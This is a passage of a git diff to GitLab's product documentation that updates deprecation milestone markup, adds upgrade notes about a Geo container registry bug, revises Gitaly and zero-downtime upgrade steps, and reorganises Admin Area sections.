This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1759,7 +2207,7 @@ exposed in the UUID field. Data previously available in the projectFingerprint f
### `started` iterations API field
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1778,7 +2226,7 @@ The `started` field in the [iterations API](https://docs.gitlab.com/ee/api/itera
### Container scanning schemas below 14.0.0
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
[Container scanning report schemas](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/releases)
versions earlier than 14.0.0 will no longer be supported in GitLab 15.0. Reports that do not pass validation
@@ -1797,7 +2245,7 @@ in the Vulnerability Report.
### Coverage guided fuzzing schemas below 14.0.0
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
[Coverage guided fuzzing report schemas](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/releases)
below version 14.0.0 will no longer be supported in GitLab 15.0. Reports that do not pass validation
@@ -1819,7 +2267,7 @@ in the Vulnerability Report.
### DAST schemas below 14.0.0
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
[DAST report schemas](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/releases)
versions earlier than 14.0.0 will no longer be supported in GitLab 15.0. Reports that do not pass validation
@@ -1841,7 +2289,7 @@ in the Vulnerability Report.
### Dependency scanning schemas below 14.0.0
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
[Dependency scanning report schemas](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/releases)
versions earlier than 14.0.0 will no longer be supported in GitLab 15.0. Reports that do not pass validation
@@ -1863,7 +2311,7 @@ in the Vulnerability Report.
### Enforced validation of security report schemas
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
[Security report schemas](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/releases)
versions earlier than 14.0.0 will no longer be supported in GitLab 15.0. Reports that do not pass validation
@@ -1885,7 +2333,7 @@ in the Vulnerability Report.
### Godep support in License Compliance
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
The Godep dependency manager for Golang was deprecated in 2020 by Go and
has been replaced with Go modules.
@@ -1898,7 +2346,7 @@ and will remove it in GitLab 15.0
### Logging in GitLab
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1912,7 +2360,7 @@ The logging features in GitLab allow users to install the ELK stack (Elasticsear
### Monitor performance metrics through Prometheus
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1927,7 +2375,7 @@ However, since certificate-based integration with Kubernetes clusters is depreca
### Pseudonymizer
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
The Pseudonymizer feature is generally unused,
can cause production issues with large databases,
@@ -1940,7 +2388,7 @@ It is now considered deprecated, and will be removed in GitLab 15.0.
### SAST schemas below 14.0.0
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
[SAST report schemas](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/releases)
versions earlier than 14.0.0 will no longer be supported in GitLab 15.0. Reports that do not pass validation
@@ -1962,7 +2410,7 @@ in the Vulnerability Report.
### Secret detection schemas below 14.0.0
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
[Secret detection report schemas](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/releases)
versions earlier than 14.0.0 will no longer be supported in GitLab 15.0. Reports that do not pass validation
@@ -1984,7 +2432,7 @@ in the Vulnerability Report.
### Sidekiq metrics and health checks configuration
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2016,7 +2464,7 @@ to serve the Sidekiq metrics, similar to the way Sidekiq will behave in 15.0.
### Static Site Editor
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
The Static Site Editor will no longer be available starting in GitLab 15.0. Improvements to the Markdown editing experience across GitLab will deliver smiliar benefit but with a wider reach. Incoming requests to the Static Site Editor will be redirected to the [Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/index.html).
@@ -2028,7 +2476,7 @@ Current users of the Static Site Editor can view the [documentation](https://doc
### Tracing in GitLab
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2042,7 +2490,7 @@ Tracing in GitLab is an integration with Jaeger, an open-source end-to-end distr
### `artifacts:reports:cobertura` keyword
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2059,7 +2507,7 @@ only supported report file in 15.0, but this is the first step towards GitLab su
### merged_by API field
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2078,7 +2526,7 @@ The `merged_by` field in the [merge request API](https://docs.gitlab.com/ee/api/
### CI/CD job name length limit
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2092,7 +2540,7 @@ In GitLab 15.0 we are going to limit the number of characters in CI/CD job names
### Legacy approval status names from License Compliance API
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2108,7 +2556,7 @@ If you are using our License Compliance API you should stop using the `approved`
### `type` and `types` keyword in CI/CD configuration
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2122,7 +2570,7 @@ The `type` and `types` CI/CD keywords will be removed in GitLab 15.0. Pipelines
### apiFuzzingCiConfigurationCreate GraphQL mutation
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2138,7 +2586,7 @@ which isn't being used in GitLab anymore.
### bundler-audit Dependency Scanning tool
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2159,7 +2607,7 @@ If you have explicitly excluded bundler-audit using DS_EXCLUDED_ANALYZERS you wi
### Changing an instance (shared) runner to a project (specific) runner
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2177,7 +2625,7 @@ Administrators who need to add runners for multiple projects can register a runn
### GraphQL API Runner status will not return `paused`
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2198,7 +2646,7 @@ When checking if a runner is `paused`, API users are advised to check the boolea
### Known host required for GitLab Runner SSH executor
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2214,7 +2662,7 @@ In GitLab 15.0 and later, the default value for this configuration option will c
### Package pipelines in API payload is paginated
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2230,7 +2678,7 @@ In milestone 16.0, we will remove the `pipelines` attribute from the API respons
### SaaS certificate-based integration with Kubernetes
-Planned removal: GitLab <span class="removal-milestone">15.9</span> (2023-02-22)
+Planned removal: GitLab <span class="removal-milestone">15.9</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2251,7 +2699,7 @@ GitLab self-managed customers can still use the feature [with a feature flag](ht
### Self-managed certificate-based integration with Kubernetes
-Planned removal: GitLab <span class="removal-milestone">17.0</span> (2024-05-22)
+Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2274,7 +2722,7 @@ For updates and details about this deprecation, follow [this epic](https://gitla
### Support for SLES 12 SP2
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2288,7 +2736,7 @@ Long term service and support (LTSS) for SUSE Linux Enterprise Server (SLES) 12
### Update to the Container Registry group-level API
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2304,7 +2752,7 @@ The `GET /groups/:id/registry/repositories` endpoint will remain, but won't retu
### Value Stream Analytics filtering calculation change
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2320,7 +2768,7 @@ If you monitor Value Stream Analytics metrics and rely on the date filter, to av
### `Versions` on base `PackageType`
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2336,7 +2784,7 @@ In milestone 15.0, we will completely remove `Version` from `PackageType`.
### `defaultMergeCommitMessageWithDescription` GraphQL API field
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2350,7 +2798,7 @@ The GraphQL API field `defaultMergeCommitMessageWithDescription` has been deprec
### `dependency_proxy_for_private_groups` feature flag
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2366,7 +2814,7 @@ In milestone 15.0, we will remove the feature flag entirely. Moving forward, you
### `pipelines` field from the `version` field
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2385,7 +2833,7 @@ To mitigate possible performance problems, we will remove the `versions` field's
### `promote-db` command from `gitlab-ctl`
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2399,7 +2847,7 @@ In GitLab 14.5, we introduced the command `gitlab-ctl promote` to promote any Ge
### `promote-to-primary-node` command from `gitlab-ctl`
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2413,7 +2861,7 @@ In GitLab 14.5, we introduced the command `gitlab-ctl promote` to promote any Ge
### openSUSE Leap 15.2 packages
-Planned removal: GitLab <span class="removal-milestone">14.8</span> (2022-02-22)
+Planned removal: GitLab <span class="removal-milestone">14.8</span> <span class="removal-date"></span>
Distribution support and security updates for openSUSE Leap 15.2 are [ending December 2021](https://en.opensuse.org/Lifetime#openSUSE_Leap).
@@ -2430,7 +2878,7 @@ Starting in 14.5 we are providing packages for openSUSE Leap 15.3, and will stop
### Audit events for repository push events
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2448,7 +2896,7 @@ dramatically slow down GitLab instances. For this reason, they are being removed
### GitLab Serverless
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2464,7 +2912,7 @@ We decided to remove the GitLab Serverless features as they never really resonat
### Legacy database configuration
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2482,7 +2930,7 @@ This deprecation mainly impacts users compiling GitLab from source because Omnib
### OmniAuth Kerberos gem
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -2505,7 +2953,7 @@ Note that we are not deprecating the Kerberos SPNEGO integration, only the old p
### Release CLI distributed as a generic package
-Planned removal: GitLab <span class="removal-milestone">14.6</span> (2021-12-22)
+Planned removal: GitLab <span class="removal-milestone">14.6</span> <span class="removal-date"></span>
The [release-cli](https://gitlab.com/gitlab-org/release-cli) will be released as a [generic package](https://gitlab.com/gitlab-org/release-cli/-/packages) starting in GitLab 14.2. We will continue to deploy it as a binary to S3 until GitLab 14.5 and stop distributing it in S3 in GitLab 14.6.
@@ -2515,7 +2963,7 @@ The [release-cli](https://gitlab.com/gitlab-org/release-cli) will be released as
### Rename Task Runner pod to Toolbox
-Planned removal: GitLab <span class="removal-milestone">14.5</span> (2021-11-22)
+Planned removal: GitLab <span class="removal-milestone">14.5</span> <span class="removal-date"></span>
The Task Runner pod is used to execute periodic housekeeping tasks within the GitLab application and is often confused with the GitLab Runner. Thus, [Task Runner will be renamed to Toolbox](https://gitlab.com/groups/gitlab-org/charts/-/epics/25).
@@ -2532,7 +2980,7 @@ This will result in the rename of the sub-chart: `gitlab/task-runner` to `gitlab
### NFS for Git repository storage
-Planned removal: GitLab <span class="removal-milestone">15.6</span> (2022-11-22)
+Planned removal: GitLab <span class="removal-milestone">15.6</span> <span class="removal-date"></span>
With the general availability of Gitaly Cluster ([introduced in GitLab 13.0](https://about.gitlab.com/releases/2020/05/22/gitlab-13-0-released/)), we have deprecated development (bugfixes, performance improvements, etc) for NFS for Git repository storage in GitLab 14.0. We will continue to provide technical support for NFS for Git repositories throughout 14.x, but we will remove all support for NFS on November 22, 2022. This was originally planned for May 22, 2022, but in an effort to allow continued maturity of Gitaly Cluster, we have chosen to extend our deprecation of support date. Please see our official [Statement of Support](https://about.gitlab.com/support/statement-of-support/#gitaly-and-nfs) for further information.
@@ -2550,7 +2998,7 @@ We encourage customers currently using NFS for Git repositories to plan their mi
### OAuth implicit grant
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
diff --git a/doc/update/index.md b/doc/update/index.md
index d838f8dda34..5f42ed735af 100644
--- a/doc/update/index.md
+++ b/doc/update/index.md
@@ -273,6 +273,18 @@ NOTE:
Specific information that follow related to Ruby and Git versions do not apply to [Omnibus installations](https://docs.gitlab.com/omnibus/)
and [Helm Chart deployments](https://docs.gitlab.com/charts/). They come with appropriate Ruby and Git versions and are not using system binaries for Ruby and Git. There is no need to install Ruby or Git when utilizing these two approaches.
+### 15.8.0
+
+- Git 2.38.0 and later is required by Gitaly. For installations from source, you should use the [Git version provided by Gitaly](../install/installation.md#git).
+
+### 15.7.2
+
+- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.x and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.7.3 or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover.
+
+### 15.7.1
+
+- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.x and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.7.3 or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover.
+
### 15.7.0
- This version validates a `NOT NULL DB` constraint on the `issues.work_item_type_id` column.
@@ -312,6 +324,23 @@ and [Helm Chart deployments](https://docs.gitlab.com/charts/). They come with ap
Sites that have configured `max_concurrency` will not be affected by this change.
[Read more about the Sidekiq concurrency setting](../administration/sidekiq/extra_sidekiq_processes.md#concurrency).
+- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.x and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.7.3 or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover.
+
+### 15.6.4
+
+- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.x and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.7.3 or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover.
+
+### 15.6.3
+
+- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.x and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.7.3 or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover.
+
+### 15.6.2
+
+- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.x and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.7.3 or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover.
+
+### 15.6.1
+
+- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.x and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.7.3 or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover.
### 15.6.0
@@ -331,6 +360,7 @@ and [Helm Chart deployments](https://docs.gitlab.com/charts/). They come with ap
This issue was [fixed in GitLab 15.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/105375) and backported
to GitLab 15.6.2. The issue can also be worked around:
[read about how to create these indexes](https://gitlab.com/gitlab-org/gitlab/-/issues/378343#note_1199863087).
+- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.x and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.7.3 or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover.
### 15.5.0
@@ -764,7 +794,7 @@ for how to proceed.
gitlab-psql`):
```sql
- select status, count(*) from background_migration_jobs
+ select status, count(*) from background_migration_jobs
where class_name = 'MigrateMergeRequestDiffCommitUsers' group by status;
```
diff --git a/doc/update/with_downtime.md b/doc/update/with_downtime.md
index 2ad928927a4..9145003eff4 100644
--- a/doc/update/with_downtime.md
+++ b/doc/update/with_downtime.md
@@ -68,13 +68,17 @@ following principles when upgrading those servers:
If you're running Gitaly cluster, follow the [zero downtime process](zero_downtime.md#gitaly-or-gitaly-cluster)
for Gitaly cluster.
-If you are using Amazon Machine Images (AMIs) on AWS, the Gitaly nodes
-**should not be upgraded via the AMI process**. Gitaly nodes should **only**
-be upgraded using the package upgrade because:
-
-- Praefect tracks replicas of Git repositories by server hostname.
-- Redeployment using AMIs issues the nodes with new hostnames.
-- Even though the storage is the same, Gitaly cluster does not work after this.
+If you are using Amazon Machine Images (AMIs) on AWS, you can either upgrade the Gitaly nodes
+through the AMI process, or upgrade the package itself:
+
+- If you're using the
+ [Elastic network interfaces (ENI)](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-eni.html),
+ you can upgrade through the AMI process. With ENI, you can keep the private DNS names
+ through AMI instance changes, something that is crucial for Gitaly to work.
+- If you're **not** using ENI, you must upgrade Gitaly using the GitLab package.
+ This is because Gitaly Cluster tracks replicas of Git repositories by the server hostname,
+ and a redeployment using AMIs issues the nodes with new hostnames. Even though
+ the storage is the same, Gitaly Cluster does not work when the hostnames change.
The Praefect nodes, however, can be upgraded via an AMI redeployment process:
diff --git a/doc/update/zero_downtime.md b/doc/update/zero_downtime.md
index deda12145da..a849033c3e5 100644
--- a/doc/update/zero_downtime.md
+++ b/doc/update/zero_downtime.md
@@ -456,7 +456,13 @@ Log in to your **primary** node, executing the following:
1. To get the database migrations and latest code in place, run:
```shell
- sudo SKIP_POST_DEPLOYMENT_MIGRATIONS=true gitlab-ctl reconfigure
+ sudo gitlab-ctl reconfigure
+ ```
+
+1. After the node is updated and reconfigure finished successfully, complete the migrations:
+
+ ```shell
+ sudo SKIP_POST_DEPLOYMENT_MIGRATIONS=true gitlab-rake db:migrate
```
### Update the Geo secondary site
@@ -486,7 +492,7 @@ On each **secondary** node, executing the following:
1. To get the database migrations and latest code in place, run:
```shell
- sudo SKIP_POST_DEPLOYMENT_MIGRATIONS=true gitlab-ctl reconfigure
+ sudo gitlab-ctl reconfigure
```
1. Run post-deployment database migrations, specific to the Geo database:
diff --git a/doc/user/admin_area/custom_project_templates.md b/doc/user/admin_area/custom_project_templates.md
index de2856c2320..847f687d051 100644
--- a/doc/user/admin_area/custom_project_templates.md
+++ b/doc/user/admin_area/custom_project_templates.md
@@ -16,7 +16,7 @@ when you go to **New project > Create from template** and select the **Instance*
Every project in the group, but not its subgroups, can be selected when a new project
is created, based on the user's access permissions:
-- Public projects can be selected by any signed-in user as a template for a new project,
+- Public projects can be selected by any authenticated user as a template for a new project,
if all enabled [project features](../project/settings/index.md#configure-project-visibility-features-and-permissions)
except for **GitLab Pages** and **Security & Compliance** are set to **Everyone With Access**.
The same applies to internal projects.
diff --git a/doc/user/admin_area/index.md b/doc/user/admin_area/index.md
index c9b6a077c73..559aae63da5 100644
--- a/doc/user/admin_area/index.md
+++ b/doc/user/admin_area/index.md
@@ -135,8 +135,7 @@ For each user, the following are listed:
1. Date of account creation
1. Date of last activity
-To edit a user, select the **Edit** button in that user's
-row. To delete the user, or delete the user and their contributions, select the cog dropdown list in
+To edit a user, in the user's row, select **Edit**. To delete the user, or delete the user and their contributions, select the cog dropdown list in
that user's row, and select the desired option.
To change the sort order:
@@ -256,9 +255,7 @@ To access the Groups page:
1. On the left sidebar, select **Overview > Groups**.
For each group, the page displays their name, description, size, number of projects in the group,
-number of members, and whether the group is private, internal, or public. To edit a group, select
-the **Edit** button in that group's row. To delete the group, select the **Delete** button in
-that group's row.
+number of members, and whether the group is private, internal, or public. To edit a group, in the group's row, select **Edit**. To delete the group, in the group's row, select **Delete**.
To change the sort order, select the sort dropdown list and select the desired order. The default
sort order is by **Last created**.
@@ -300,33 +297,32 @@ The assigned topics are visible only to everyone with access to the project,
but everyone can see which topics exist on the GitLab instance.
Do not include sensitive information in the name of a topic.
-### Administering Jobs
+### Administering Gitaly servers
-You can administer all jobs in the GitLab instance from the Admin Area's Jobs page.
+You can list all Gitaly servers in the GitLab instance from the Admin Area's **Gitaly Servers**
+page. For more details, see [Gitaly](../../administration/gitaly/index.md).
-To access the Jobs page:
+To access the **Gitaly Servers** page:
1. On the top bar, select **Main menu > Admin**.
-1. On the left sidebar, select **Overview > Jobs**. All jobs are listed, in descending order of job ID.
-1. Select the **All** tab to list all jobs. Select the **Pending**, **Running**, or **Finished**
- tab to list only jobs of that status.
+1. On the left sidebar, select **Overview > Gitaly Servers**.
-For each job, the following details are listed:
+For each Gitaly server, the following details are listed:
-| Field | Description |
-|----------|-------------|
-| Status | Job status, either **passed**, **skipped**, or **failed**. |
-| Job | Includes links to the job, branch, and the commit that started the job. |
-| Pipeline | Includes a link to the specific pipeline. |
-| Project | Name of the project, and organization, to which the job belongs. |
-| Runner | Name of the CI runner assigned to execute the job. |
-| Stage | Stage that the job is declared in a `.gitlab-ci.yml` file. |
-| Name | Name of the job specified in a `.gitlab-ci.yml` file. |
-| Timing | Duration of the job, and how long ago the job completed. |
-| Coverage | Percentage of tests coverage. |
+| Field | Description |
+|----------------|-------------|
+| Storage | Repository storage |
+| Address | Network address on which the Gitaly server is listening |
+| Server version | Gitaly version |
+| Git version | Version of Git installed on the Gitaly server |
+| Up to date | Indicates if the Gitaly server version is the latest version available. A green dot indicates the server is up to date. |
+
+## CI/CD section
### Administering runners
+> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/340859) from **Overview > Runners** to **CI/CD > Runners** in GitLab 15.8.
+
You can administer all runners in the GitLab instance from the Admin Area's **Runners** page. See
[GitLab Runner](https://docs.gitlab.com/runner/) for more information.
@@ -380,25 +376,32 @@ For each runner, the following attributes are listed:
You can also edit, pause, or remove each runner.
-### Administering Gitaly servers
+### Administering Jobs
-You can list all Gitaly servers in the GitLab instance from the Admin Area's **Gitaly Servers**
-page. For more details, see [Gitaly](../../administration/gitaly/index.md).
+> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/386311) from **Overview > Jobs** to **CI/CD > Jobs** in GitLab 15.8.
-To access the **Gitaly Servers** page:
+You can administer all jobs in the GitLab instance from the Admin Area's Jobs page.
+
+To access the Jobs page:
1. On the top bar, select **Main menu > Admin**.
